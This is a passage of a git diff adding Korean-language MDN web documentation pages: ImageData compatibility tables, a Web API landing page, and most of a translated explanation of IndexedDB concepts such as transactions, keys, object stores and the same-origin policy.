+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Support in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageData()</code> constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td>Support in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageData()</code> constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>The {{HTMLElement("canvas")}} element and its associated interface, {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/ko/web/api/index.html b/files/ko/web/api/index.html
new file mode 100644
index 0000000000..fda766fffd
--- /dev/null
+++ b/files/ko/web/api/index.html
@@ -0,0 +1,33 @@
+---
+title: Web API
+slug: Web/API
+tags:
+  - API
+  - DOM
+  - JavaScript
+  - Landing
+  - Reference
+  - Web
+translation_of: Web/API
+---
+<p><span class="seoSummary">웹 코드를 작성한다면 많은 API를 사용할 수 있습니다. 아래 목록은 웹 앱이나 웹 사이트를 만들 때 사용할 수 있는 모든 인터페이스(객체의 유형)입니다.</span></p>
+
+<p>Web API는 보통 JavaScript와 함께 사용하지만, 항상 그렇지는 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<p>사용 가능한 API의 전체 목록입니다.</p>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>사용 가능한 인터페이스(객체의 유형) 전체 목록입니다.</p>
+
+<p>{{APIListAlpha}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Reference/Events">웹 API 이벤트 참고서</a></li>
+</ul>
diff --git a/files/ko/web/api/index/index.html b/files/ko/web/api/index/index.html
new file mode 100644
index 0000000000..c06701815a
--- /dev/null
+++ b/files/ko/web/api/index/index.html
@@ -0,0 +1,10 @@
+---
+title: Index
+slug: Web/API/Index
+tags:
+  - API
+  - Index
+  - Landing
+translation_of: Web/API/Index
+---
+<p>{{Index("/ko/docs/Web/API")}}</p>
diff --git a/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
new file mode 100644
index 0000000000..0975005ad9
--- /dev/null
+++ b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
@@ -0,0 +1,219 @@
+---
+title: 기본 개념
+slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+tags:
+  - Advanced
+  - IndexedDB
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<div class="summary">
+<p><strong>IndexedDB</strong>는 사용자의 브라우저 안에 데이터를 영구적으로 저장하게 해주는 방법 중 하나입니다. 그것은 네트워크 가능 여부에 상관없이, 풍부한 쿼리 작성 능력으로 웹 애플리케이션을 만들게 해주고, 이 애플리케이션은 온라인과 오프라인 모두에서 동작할 수 있습니다. IndexedDB는 예를 들면, 도서관의 DVD 목록처럼 대용량 데이터를 저장하는 애플리케이션, 그리고 메일 클라이언트, to-do 리스트, 노트패드처럼 동작에 지속적인 인터넷 연결이 필요하지 않은 애플리케이션에 유용합니다.</p>
+</div>
+
+<h2 id="이_문서에_대하여">이 문서에 대하여</h2>
+
+<p>이 소개글은 IndexedDB의 필수 개념과 용어에 대해 논의합니다. 큰 그림을 제공하고 핵심 개념들을 설명합니다.</p>
+
+<p>다음과 같은 유용한 정보를 찾을 수 있을 것입니다.</p>
+
+<ul>
+ <li>IndexedDB 용어들에 대해 더 배우기 위해, <a href="#definitions">정의</a> 섹션을 보세요.</li>
+ <li>API 사용법에 대한 자세한 강좌는, <a href="/ko/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">IndexedDB 사용하기</a>를 보세요.</li>
+ <li>IndexedDB API에 대한 레퍼런스 문서는, <a href="/ko/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> 글과 그 하위 페이지에 있는 IndexedDB에 사용되는 객체의 타입들에 대한 설명을 보세요.</li>
+ <li>브라우저가 뒷단에서 데이터를 어떻게 저장하는지에 대한 좀 더 많은 정보는 <a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Browser storage limits and eviction criteria</a>를 읽어보세요.</li>
+</ul>
+
+<h2 id="IndexedDB_개요">IndexedDB 개요</h2>
+
+<p>IndexedDB는 "키(key)"로 지정된 객체를 저장하고 검색할 수 있도록 도와줍니다. 데이터베이스에 적용하는 모든 변경은 트렌잭션 안에서 일어납니다. 대부분의 웹 스토리지 솔루션과 마찬가지로, IndexedDB는 동일 출처 정책 (<a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>)을 따릅니다. 따라서 당신이 한 도메인의 데이터에 접근하고 있는 동안, 다른 도메인의 데이터에 접근할 수 없습니다.</p>
+
+<p>IndexedDB는 <a href="/ko/docs/Web/API/Web_Workers_API/basic_usage">웹 워커</a>를 포함하는 대부분의 문맥(컨텍스트)에 사용될 수 있는 비동기(<a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">asynchronous</a>) API입니다. 웹 워커에서 사용하기 위해 동기(<a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">synchronous</a>) 버전도 존재했지만, 웹 커뮤니티의 관심부족으로 웹 스펙에서 제거되었습니다.</p>
+
+<p>IndexedDB는 WebSQL 데이터베이스와 경쟁 관계에 있었지만, W3C는 2010 11월 8일에 WebSQL을 폐기(deprecated)하였습니다. IndexedDB와 WebSQL 모두 데이터 저장을 위한 솔루션이지만, 동일한 기능을 제공하지는 않습니다. WebSQL Database는 관계형 데이터베이스 접근 시스템인 반면, IndexedDB는 인덱스 테이블 시스템입니다.</p>
+
+<h2 id="concepts" name="concepts">주요 개념들</h2>
+
+<p>만약 당신이 다른 종류의 데이터베이스로 작업하고 있었다면, IndexedDB로 작업할 때 힘들어질 수도 있습니다. 그러므로 다음의 중요한 개념들을 염두에 두어야 합니다.</p>
+
+<ul>
+ <li>
+  <p><strong>IndexedDB 데이터베이스는 키(key)-값(value) 한 쌍을 저장합니다.</strong> 값은 복잡한 구조의 객체가 될 수 있고,  키는 이 객체의 프로퍼티가 될 수 있습니다. 빠른 검색을 위해 저장된 계산(sorted enumeration)뿐만 아니라, 객체의 속성을 사용하는 인덱스를 만들 수 있습니다. 키는 바이너리 객체도 될 수 있습니다.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB는 트랜젝션 데이터베이스 모델을 기반으로 만들어졌습니다</strong>. 당신이 IndexedDB에서 하는 모든 것은  언제나 트랜젝션(<a href="#gloss_transaction">transaction</a>) 문맥(컨텍스트) 내에서 발생합니다. IndexedDB API는 인덱스, 테이블, 커서, 그 외 다른 것을 나타내는 많은 객체를 제공하지만, 이들 각각은 특정 트랜젝션에 묶여있습니다. 그러므로, 당신은 트랜젝션 밖에서 명령을 실행하거나 커서를 열 수 없습니다. 트랜젝션은 명확한 수명(well-defined lifetime)을 가지고 있어서 트랜젝션이 완료된 후에 트랜젝션을 사용하려고 시도하면 예외가 발생합니다. 또한, 트랜젝션은 오토 커밋이고, 수동으로 커밋될 수 없습니다.</p>
+
+  <p>한 사용자가 당신이 만든 웹앱 인스턴스를 두 개의 다른 tabs에서 각각 동시에 열면 어떤 일이 일어날 수 있는지 생각해본다면, 이 트랜젝션 모델이 얼마나 유용한지 알 수 있습니다. 이러한 상황에서 트랜젝션 작업이 없다면, 두 개의 웹앱 인스턴스는 각각의 변경사항으로 인해 충돌할 수도 있습니다. 만약 데이터베이스의 트랜젝션에 익숙하지 않다면, <a href="https://en.wikipedia.org/wiki/Database_transaction">트랜젝션에 대한 위키피디아의 글</a>을 읽어 보세요. 또 정의 섹션의 <a href="#gloss_transaction">transaction</a>을 보세요.</p>
+ </li>
+ <li>
+  <p><strong>The IndexedDB API는 대부분 비동기 방식입니다.</strong> API는 값을 반환하는 방식으로 데이터를 주지 않습니다. 데이터를 받으려면 콜백 함수를 전달해야 합니다. 동기(synchronous) 방식으로는 하나의 값을 데이터베이스에 "저장"하거나 데이터베이스로부터 값을 "조회"할 수 없습니다. 대신, 데이터베이스 작업이 발생하도록 "요청(request)"을 해야 합니다. 작업이 완료되면 DOM 이벤트를 통해 알림을 받고, 이벤트트의 종류를 보면 그 동작이 성공했는지 아닌지를 알 수 있습니다. 처음에는 조금 복잡하게 들릴 수도 있지만, 사실은 <a href="/ko/DOM/XMLHttpRequest" title="https://developer.mozilla.org/en/xmlhttprequest">XMLHttpRequest</a>이 작동하는 방식과 크게 다르지 않습니다.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB는 많은 request를 사용합니다. </strong>Request는 앞서서 언급되었던 성공 또는 실패 DOM 이벤트를 받는 객체입니다. Request는 <code style="font-size: 14px;">onsucces</code> 와 <code style="font-size: 14px;">onerror</code> 프로퍼티를 가지고 있고, 각각의 프로퍼티에 대해 <code style="font-size: 14px;">addEventListener()</code> 와<code style="font-size: 14px;">removeEventListener()</code>를 호출할 수 있습니다. 또한 request는 request의 상태를 알려주는 <code style="font-size: 14px;">readyState</code>, <code style="font-size: 14px;">result</code>, 그리고 <code style="font-size: 14px;">errorCode</code> 프로퍼티를 가집니다. 특히 <code style="font-size: 14px;">result</code> 프로퍼티는 request의 생성 방식에 따라 그 값이 매우 다양합니다(예를 들면 <code style="font-size: 14px;">IDBCursor</code> 인스턴스가 될 수도 있고, 데이터베이스에 방금 입력한 값의 키(key)가 될 수도 있습니다.)</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB는 DOM 이벤트를 사용하여 결과가 준비되었음을 알립니다. </strong>DOM 이벤트는 항상 <code style="font-size: 14px;">type</code> 프로퍼티를 가집니다(대체로 <code style="font-size: 14px;">"success"</code> 또는 <code style="font-size: 14px;">"error"</code>로 설정되어 있습니다). 또한 DOM 이벤트는 이벤트가 어디를 향하고 있는지 알려주는 <code style="font-size: 14px;">target</code> 프로퍼티를 가집니다. 대부분의 경우, 이벤트의 <code style="font-size: 14px;">target</code>은 데이터베이스 작업 결과로 생성된 <code style="font-size: 14px;">IDBRequest</code> 객체입니다. Success 이벤트는 버블링 하지 않고, 취소될 수도 없습니다. 반면 Error 이벤트는 버블링되며 취소될 수도 있습니다. error 이벤트는 취소되지 않는 한 자신이 실행되고 있는 트랜잭션은 뭐든지 중단하므로, 이를 알고 있는 것이 중요합니다.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB는 객체 지향입니다.</strong> IndexedDB는 행열의 모음으로 구성된 테이블을 갖고 있는 관계형 데이터베이스가 아닙니다. 이는 어플리케이션을 설계하고 구축하는 방식에 영향을 끼치는 중요하고 근본적인 차이점입니다.</p>
+
+  <p>전통적인 관계형 데이터베이스 저장소는 데이터의 행과 명시된 데이터 타입을 가진 열의 모음을 저장하고 있습니다. 반면 IndexedDB는 특정 데이터 타입을 저장하기 위한 객체 저장소를 형성하고 나면, 그 객체 저장소에 자바스크립트 객체를 저장하면 됩니다. 각 객체 저장소는 전반에 걸친 쿼리 작업과 반복(iteration) 작업을 효율적으로 만드는 인덱스 모음을 가질 수 있습니다. 만약 당신이 객체 지향 데이터베이스 관리 시스템에 친숙하지 않다면, <a class="external" href="https://en.wikipedia.org/wiki/Object_database" title="http://en.wikipedia.org/wiki/Object_database">Wikipedia article on object database</a>를 읽어 보세요.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB는 </strong><strong><abbr>SQL문을</abbr> 사용하지 않습니다.</strong> IndexedDB는 커서를 생선하는 index에 대해 쿼리를 사용하는데, 이는 전체 결과 값에 걸쳐 반복을 실행하기 위해 사용합니다. 만약 NoSQL 시스템에 친숙하지 않다면, <a class="external" href="https://en.wikipedia.org/wiki/NoSQL" title="http://en.wikipedia.org/wiki/NoSQL">Wikipedia article on NoSQL</a>를 읽어 보세요.</p>
+ </li>
+ <li>
+  <p><a name="origin"><strong>IndexedDB는 하나의 동일 출처 정책(same-origin policy)을 고수합니다</strong></a>. 하나의 출처(origin)는 도메인, 애플리케이션 레이어 프로토콜, 그리고 스크립트가 실행되고 있는 문서의 url 포트입니다. 각 출처는 자신의 연관된 데이터베이스 세트를 가집니다. 모든 데이터베이스는 하나의 출처 안에서 식별하기 위한 하나의 이름을 가집니다.</p>
+
+  <p>IndexedDB의 보안 경계는 다른 출처로 데이터에 접근하는 애플리케이션을 막습니다. 예를 들어, 동일한 출처를 가지고 있는 이유로 <a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a> 내의 앱이나 페이지가 <a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>로부터 데이터를 조회할 수 있는 데 반해, 출처가 다르기 때문에 <a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a>(다른 포트) <span style="line-height: 1.5;">또는 </span><a class="link-https" href="https://www.example.com/dir/" rel="freelink" style="line-height: 1.5;">https://www.example.com/dir/</a><span style="line-height: 1.5;"> (다른 프로토콜)로부터는 데이터를 조회할 수 없습니다.</span></p>
+
+  <div class="note"><strong>Note</strong>: 브라우저가 <a href="https://support.mozilla.org/ko/kb/disable-third-party-cookies">서드 파티의 쿠키에 접근할 수 없도록 설정</a>하지 않는 한 서드파티 창의 콘텐츠는 그 안에 임베드된 출처에 대한 IndexedDB 저장소에 접속할 수 있습니다. {{bug("1147821")}}</div>
+ </li>
+</ul>
+
+<h2 id="definitions" name="definitions">정의</h2>
+
+<p>이 섹션은 IndexedDB API에서 사용되는 용어들을 정의하고 설명합니다.</p>
+
+<h3 id="database" name="database">데이터베이스</h3>
+
+<dl>
+ <dt><a name="gloss_database">데이터베이스</a></dt>
+ <dd>일반적으로 하나 혹은 그 이상의 <em><a href="#gloss_object_store" title="#gloss_object_store">객체 저장소</a>로 구성되는 </em>정보의 레파지토리입니다. 개별 데이터베이스는 다음의 내용을 반드시 가져야 합니다.
+ <ul>
+  <li>이름(Name). 이것은 하나의 특정 출처 내에서 database를 구별하고 데이터베이스가 존재하는 동안 일정하게 유지됩니다. 이름은 빈 문자열을 포함해서 어떤 문자열 값이라도 될 수 있습니다.</li>
+  <li>
+   <p>현재 <a href="#gloss_version"><em>버전</em></a>. 데이터베이스가 처음 만들어질 때, 따로 지정하지 않으면 버전은 정수 1입니다. 각 데이터베이스는 주어진 순간에 오직 하나의 버전을 가질 수 있습니다.</p>
+  </li>
+ </ul>
+ </dd>
+ <dt><a name="gloss_durable">지속성</a></dt>
+ <dd>
+ <p>파이어폭스에서 indexedDB는 지속성을 유지하기 위해 사용됩니다. 즉, 읽기쓰기 트랜젝션{{domxref("IDBTransaction.oncomplete")}}이 모든 데이터가 디스크로 들어갈 수 있도록 보장될 때에만 실행됩니다.</p>
+
+ <p>파이어폭스 40에서, IndexedDB 트랜젝션은 성능을 높이기 위해 지속성 보장을 늦춰왔는데, 이는 IndexedDB를 지원하는 다른 브라우저도 동일한 방식입니다{{Bug("1112702")}}. 이 경우 {{Event("complete")}} 이벤트는 OS가 데이터 쓰기를 하라고 전달한 후, 데이터가 실제로 데이터베이스에 반영되기 전에 잠재적으로 실행됩니다. 이벤트는 이전보다 더 빠르게 전달될지도 모르지만, 만약 OS가 다운되거나 데이터가 데이터베이스에 반영되기 전에 시스템 전원이 부족하면, 전체 트랜젝션은 잃게 될 수도 있는 희박한 위험성이 존재합니다. 그런 치명적인 이벤트는 드물기 때문에, 대부분의 소비자는 더 이상 염려할 필요는 없습니다.</p>
+
+ <div class="note">
+ <p><strong>Note</strong>: 파이어폭스에서 (나중에 다시 계산 할 수 없는 까다로운 데이터를 저장하는 것)과 같은 몇 가지 이유로 지속성을 보장하고 싶다면, <code>complete</code> 이벤트가 전달되기 전에 아직 정식 표준이 아닌 실험적인 <code>readwriteflush</code> 모드를 이용하여 트랜젝션을 데이터베이스에 강제로 반영할 수 있습니다. ({{domxref("IDBDatabase.transaction")}} 참고.) 현재는 실험적으로 적용되어 있고(experimental), <code>about:config</code>에서<code>dom.indexedDB.experimental</code>값이 <code>true</code> 로 설정되어 있을 때만 사용할 수 있습니다.</p>
+ </div>
+ </dd>
+ <dt><a name="gloss_object_store">객체 저장소</a></dt>
+ <dd>
+ <p>데이터베이스에 데이터가 저장되는 매커니즘입니다. 객체 저장소는 키(key)와 값(value)의 쌍으로 된 레코드를 영구적으로 잡습니다. 한 객체 저장소 안의 레코드는 키(key)에 따라 오름차순으로 정렬됩니다.</p>
+
+ <p>모든 객체 저장소는 데이터베이스 안에서 고유한 이름을 가져야 합니다. Object store는 선택적으로 <em><a href="#gloss_keygenerator">key generator</a></em>와 <em><a href="#gloss_keypath">key path</a>를 가질 수 있다</em>.만약 object store가 key path를 가진다면, 그것은 <em><a href="#gloss_inline_key">in-line keys</a>를 사용한다</em>; 아니면, 그것은 <em><a href="#gloss_outofline_key">out-of-line keys</a>를 사용한다</em>.</p>
+
+ <p>Object store에 대한 참고 문서를 위해, <a href="../../../../en/IndexedDB/IDBObjectStore" rel="internal">IDBObjectStore</a> 또는 <a href="../../../../en/IndexedDB/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>를 보라.</p>
+ </dd>
+ <dt><a name="gloss_version">version</a></dt>
+ <dd>Database가 처음 만들어질 때, 그것의 version은 interger 1이다. 각 database는 한번에 하나의 version을 가진다; 하나의 데이터베이스가 한번에 여러 version으로 존재할 수 없다. version을 바꾸는 유일한 방법은 현재 버전보다 큰 버전으로 그것을 여는 것이다. 이는 <a href="/en-US/docs/Web/API/IDBVersionChangeRequest"><code>versionchange</code></a> <em>transaction을 시작하고</em> <a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB"><code>upgradeneeded</code></a> event를 fire한다. database의 schema를 변경할 수 있는 유일한 곳은 그 event의 handler 내부이다.</dd>
+ <dd>Note: This definition describes the <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">most recent specification</a>, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="/en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a> method.</dd>
+ <dt><a name="gloss_database_connection">database connection</a></dt>
+ <dd> <em><a href="#gloss_database">database</a>를 여는 것에 의해 생성되는 operation</em>. 한 주어진 database는 동시에 여러개의 connections를 가질 수 있다.</dd>
+ <dt><a name="gloss_transaction">transaction</a></dt>
+ <dd>
+ <p>특정 database에 대한 data-access와 data-modification operations의 원자적이고 견고한 집합. 그것이 database에서 당신이 data로 상호작용하는 방법이다. 사실, database에서의 어떠한 data의 읽기 또는 변경도 transaction 내에서 일어나야 한다.</p>
+
+ <p>하나의 database connection은 한번에 그에 연관된 여러 active transaction을 가질 수 있다, writing transactions이 겹치는 <em><a href="#scope">scopes</a>을 갖지 않는 동안</em>. 생성에서 정의되는  transactions의 scope은 그 transaction이 어느 object stores와 상호작용할 수 있는지를 결정하고 그 transaction의 lifetime동안 일정하다. 따라서, 예를 들어, 만약 한 database connection이 <code>flyingMonkey</code> object store를 커버하는 scope의 writing transaction을 이미 가지면, 당신은  <code>unicornCentaur과</code> <code>unicornPegasus</code> object stores의 scope을 가진 두번째 transaction을 시작할 수 있다. reading transactions로서, 당신은 여러개를 가질 수 있다 — 심지어 겹치는 것들이라도.</p>
+
+ <p>Transactions는 short-lived일 것이 기대된다, 그래서 브라우저는 너무 오래걸리는 transaction을 종료할 수 있다, 그 long-running transaction이 lock한 storage resources를 해제하기 위해. 당신은 transaction을 abort할 수 있다 , 이는 그 transaction에서 만들어진 변경들을 roll back한다. 그리고 당신은 심지어 transaction을 abort하기 위해 그것이 시작되거나 활성화되기를 기다릴 필요가 없다.</p>
+
+ <p>Transaction의 세가지 모드는: <code>readwrite</code>, <code>readonly</code>, 그리고 <code>versionchange</code>. Object stores와 indexes를 생성하는 유일한 방법은 <a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB"><code>versionchange</code></a> transaction을 이용하는 것이다. transaction types를 더 배우기 위해, <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a>에 대한 reference article을 보라.</p>
+
+ <p>모든 것은 하나의 transaction에서 일어나기 때문에, IndexedDB에서 그것은 매우 중요한 개념이다. transactions에 대해 더 배우기 위해, 특히 그것들이 어떻게 versioning과 관련되는가에 대해, <a href="../../../../en/IndexedDB/IDBTransaction" rel="internal">IDBTransaction</a>를 보라, 그는 또한 reference documentation을 가진다. synchronous API에 대한 문서를 위해, <a href="../../../../en/IndexedDB/IDBTransactionSync" rel="internal">IDBTransactionSync</a>를 보라.</p>
+ </dd>
+ <dt><a name="gloss_request">request</a></dt>
+ <dd>database에 읽고 쓰기를 행하는 operation. 모든 request는 하나의 읽기 혹은 쓰기 operation을 나타낸다.</dd>
+ <dt><a name="gloss_index">index</a></dt>
+ <dd>
+ <p>하나의 index는 다른 object store의 records를 찾기 위한 specialized object store이다, <em>referenced object store라 불리는</em>. index는 그 records의 value part가 referenced object store의 한 record의 key part인 영구적인 key-value storage이다. 하나의 index의 records는 referenced object안에 record가 삽입되고 update되고 삭제될 때마다 자동적으로 생성된다. 하나의 index의 각 record는 그의 referenced object store의 오직 하나의 record를 가리킬 수 있다, 그러나 여러 indexes가 같은 object store를 참조할 수 있다. object store가 변할 때, 그 object store를 참조하는 모든 index는 자동으로 update된다.</p>
+
+ <p><span style="line-height: 1.5;">다른 방법으로, </span><a href="#gloss_key" style="line-height: 1.5;">key</a><span style="line-height: 1.5;">를 사용해서 object store에서 records를 찾을 수 있다</span><em>.</em></p>
+
+ <p>indexes 사용하기에 대해 더 배우기 위해, <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="en/IndexedDB/Using_IndexedDB#Using_an_index">Using IndexedDB</a>를 보라. index에 대한 reference documentation을 위해, <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>를 보라.</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">Key and value</h3>
+
+<dl>
+ <dt><a name="gloss_key">key</a></dt>
+ <dd>
+ <p>object store에서 이에 의해 저장된 values가 조직되고 조회되는 하나의 data value. object store는 세 sources 중 하나로부터 key를 이끌어낼 수 있다: <em><a href="#gloss_keygenerator">key generator</a></em>, <em><a href="#gloss_keypath">key path</a></em>, 또는 명시적으로 지정된 value. key는 그 앞에 있는 것보다 큰 값을 지닌 한 data type의 것이어야 한다. object store의 각 record는 같은 store 내에서 유일한 key를 가져야 한다, 따라서 당신은 주어진 object store에서 같은 key의 여러 records를 가질 수 없다.</p>
+
+ <p>하나의 key는 다음의 types 중 하나가 될 수 있다: <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, float, 그리고 <a href="/en/JavaScript/Reference/Global_Objects/Array" title="en/JavaScript/Reference/Global Objects/Array">array</a>. arrays에 대해, key는 empty value로부터 infinity의 범위가 될 수 있다. 그리고 당신은 array 내에 array를 포함할 수 있다. string 또는 integer의 key만 사용해야 한다는 요구사항은 없다{{ fx_minversion_inline("11") }}.</p>
+
+ <p>다른 방법으로, 당신은 <em><a href="#gloss_index">index</a>를 사용해서 object store에서 records를 찾을 수 있다.</em></p>
+ </dd>
+ <dt><a name="gloss_keygenerator">key generator</a></dt>
+ <dd>정렬 sequence로 새 keys를 생성하기 위한 mechanism. 만약 한 object store가 key generator를 가지지 않으면, application은 저장되는 records를 위한 keys를 제공해야 한다. Generators는 stores 간에 공유되지 않는다. 이것은 브라우저 구현 세부사항에 가깝다, 때문에 web 개발에서, 당신은 실제로 key generators를 만들고 접근할 필요가 없다.</dd>
+ <dt><a name="gloss_inline_key">in-line key</a></dt>
+ <dd>저장되는 value의 부분으로서 저장되는 key. <em>key path를 사용함으로써 찾아진다</em>. 하나의 in-line key는 generator를 이용해서 생성될 수 있다. key가 생성된 후에, 그것은 key path를 사용하는 value에 저장될 수 있거나 key로서 사용될 수 있다.</dd>
+ <dt><a name="gloss_outofline_key">out-of-line key</a></dt>
+ <dd>저장되는 value와는 따로 저장되는 key.</dd>
+ <dt><a name="gloss_keypath">key path</a></dt>
+ <dd>object store 또는 index에서 브라우저가 어디로부터 key를 추출해야 하는지 정의한다. 하나의 valid key path는 다음 중 하나를 포함할 수 있다: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods. 그것은 spaces를 포함할 수 없다.</dd>
+ <dt><a name="gloss_value">value</a></dt>
+ <dd>
+ <p>각각의 record는 하나의 value를 가진다, 이는 javascript로 표현될 수 있는 어떤 것이라도 포함할 수 있다, <a href="/en/JavaScript/Reference/Global_Objects/Boolean" rel="internal" title="en/JavaScript/Reference/Global_Objects/Boolean">boolean</a>, <a href="/en/JavaScript/Reference/Global_Objects/Number" rel="internal" title="en/JavaScript/Reference/Global_Objects/Number">number</a>, <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">object</a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" rel="internal" title="en/JavaScript/Reference/Global_Objects/Array">array</a>, <a href="/en/JavaScript/Reference/Global_Objects/RegExp" rel="internal" title="en/JavaScript/Reference/Global_Objects/RegExp">regexp</a>, <a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global_Objects/undefined">undefined</a>, 그리고 null을 포함해서.</p>
+
+ <p>object 또는 array가 저장될 때, 그 object 또는 array의  properties 와 values는 적합한 어떤 값이라도 될 수 있다.</p>
+
+ <p><a href="/en/DOM/Blob" title="en/DOM/Blob">Blobs</a>와 files가 저장될 수 있다, cf. <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">specification</a> {{ fx_minversion_inline("11") }}.</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">Range and scope</h3>
+
+<dl>
+ <dt>scope</dt>
+ <dd>한 transaction이 적용되는 object stores와 indexe. read-only transactions의 scope은 겹칠 수 있고 동시에 실행될 수 있다. 한편으로, writing transactions의 scope은 겹칠 수 없다. 당신은 여전히 동시에 같은 scope의 여러 transaction을 실행할 수 있지만 그들은 queue up하고 하나하나 차례로 실행된다.</dd>
+ <dt>cursor</dt>
+ <dd>한 key range의 여러 records에 대한 iterating을 위한 mechanism. The cursor는 그것이 iterating하는 것이 어느 index또는 object store인지 가리키는 한 source를 가진다. 그것은 그 range 내의 position을 가지고, record keys의 순서에서 증가 혹은 감소하는 한 방향으로 움직인다. cursors에 대한 reference documentation을 위해, <a href="../../../../en/IndexedDB/IDBCursor" rel="internal">IDBCursor</a> 또는 <a href="../../../../en/IndexedDB/IDBCursorSync" rel="internal">IDBCursorSync</a>를 보라.</dd>
+ <dt>key range</dt>
+ <dd>
